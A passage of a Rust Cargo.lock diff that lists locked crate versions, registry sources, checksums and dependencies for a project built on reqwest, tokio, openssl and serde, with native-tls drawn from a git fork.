"registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "native-tls" +version = "0.2.11" +source = "git+https://github.com/crunchy-labs/rust-not-so-native-tls.git?rev=fdba246#fdba246a79986607cbdf573733445498bb6da2a9" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.1", + "cfg-if", + "libc", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "number_prefix" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3" + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "openssl" +version = "0.10.62" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8cde4d2d9200ad5909f8dac647e29482e07c3a35de8a13fce7c9c7747ad9f671" +dependencies = [ + "bitflags 2.4.1", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-src" +version = "300.2.1+3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fe476c29791a5ca0d1273c697e96085bbabbbea2ef7afd5617e78a4b40332d3" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1665caf8ab2dc9aef43d1c0023bd904633a6a05cb30b0ad59bec2ae986e57a7" +dependencies = [ + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" + +[[package]] +name = "portable-atomic" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0" + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "proc-macro2" +version = "1.0.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95fc56cda0b5c3325f5fbbd7ff9fda9e02bb00bb3dac51252d2f1bfa1cb8cc8c" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "psl-types" +version = "2.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" + +[[package]] +name = "publicsuffix" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96a8c1bda5ae1af7f99a2962e49df150414a43d62404644d98dd5c3a93d07457" +dependencies = [ + "idna 0.3.0", + "psl-types", +] + +[[package]] +name = "quick-xml" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_users" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" +dependencies = [ + "getrandom", + "libredox", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "reqwest" +version = "0.11.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37b1ae8d9ac08420c66222fb9096fc5de435c3c48542bc5336c51892cffafb41" +dependencies = [ + "base64", + "bytes", + "cookie", + "cookie_store", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-rustls", + "hyper-tls", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "system-configuration", + "tokio", + "tokio-native-tls", + "tokio-rustls", + "tokio-socks", + "tokio-util", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams", + "web-sys", + "webpki-roots 0.25.3", + "winreg", +] + +[[package]] +name = "ring" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" +dependencies = [ + "cc", + "getrandom", + "libc", + "spin", + "untrusted", + "windows-sys 0.48.0", +] + +[[package]] +name = "roff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b833d8d034ea094b1ea68aa6d5c740e0d04bad9d16568d08ba6f76823a114316" + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustix" +version = "0.38.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustls" +version = "0.21.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba" +dependencies = [ + "log", + "ring", + "rustls-webpki", + "sct", +] + +[[package]] +name = "rustls-native-certs" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" +dependencies = [ + "openssl-probe", + "rustls-pemfile", + "schannel", + "security-framework", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64", +] + +[[package]] +name = "rustls-pki-types" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e9d979b3ce68192e42760c7810125eb6cf2ea10efae545a156063e61f314e2a" + +[[package]] +name = "rustls-webpki" +version = "0.101.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "schannel" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "sct" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "security-framework" +version = "2.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "serde" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebd154a240de39fdebcf5775d2675c204d7c13cf39a4c697be6493c8e734337c" +dependencies = [ + "itoa", + "serde", +] + +[[package]] +name = "serde_plain" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1fc6db65a611022b23a0dec6975d63fb80a302cb3388835ff02c097258d50" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_with" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cd236ccc1b7a29e7e2739f27c0b2dd199804abc4290e32f59f3b68d6405c23" +dependencies = [ + "base64", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.1.0", + "serde", + "serde_json", + "serde_with_macros", + "time", +] + +[[package]] +name = "serde_with_macros" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "shell-words" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde" + +[[package]] +name = "shlex" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smart-default" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eb01866308440fc64d6c44d9e86c5cc17adfe33c4d6eed55da9145044d0ffc1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sys-locale" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e801cf239ecd6ccd71f03d270d67dd53d13e90aab208bf4b8fe4ad957ea949b0" +dependencies = [ + "libc", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tempfile" +version = "3.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +dependencies = [ + "cfg-if", + "fastrand", + "redox_syscall", + "rustix", + "windows-sys 0.52.0", +] + +[[package]] +name = "thiserror" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "time" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" +dependencies = [ + "deranged", + "itoa", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26197e33420244aeb70c3e8c78376ca46571bc4e701e4791c2cd9f57dcb3a43f" +dependencies = [ + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.35.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-rustls" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-socks" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51165dfa029d2a65969413a6cc96f354b86b464498702f174a4efa13608fd8c0" +dependencies = [ + "either", + "futures-util", + "thiserror", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", + "tracing", +] + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicode-bidi" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna 0.5.0", + "percent-encoding", +] + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1223296a201415c7fad14792dbefaace9bd52b62d33453ade1c5b5f07555406" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcdc935b63408d58a32f8cc9738a0bffd8f05cc7c002086c6ef20b7312ad9dcd" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bde2032aeb86bdfaecc8b261eef3cba735cc426c1f3a3416d1e0791be95fc461" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e4c238561b2d428924c49815533a8b9121c664599558a5d9ec51f8a1740a999" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bae1abb6806dc1ad9e560ed242107c0f6c84335f1749dd4e8ddb012ebd5e25a7" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d91413b1c31d7539ba5ef2451af3f0b833a005eb27a631cec32bc0635a8602b" + +[[package]] +name = "wasm-streams" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "web-sys" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58cd2333b6e0be7a39605f0e255892fd7418a682d8da8fe042fe25128794d2ed" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "0.25.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" + +[[package]] +name = "webpki-roots" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de2cfda980f21be5a7ed2eadb3e6fe074d56022bea2cdeb1a62eb220fc04188" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 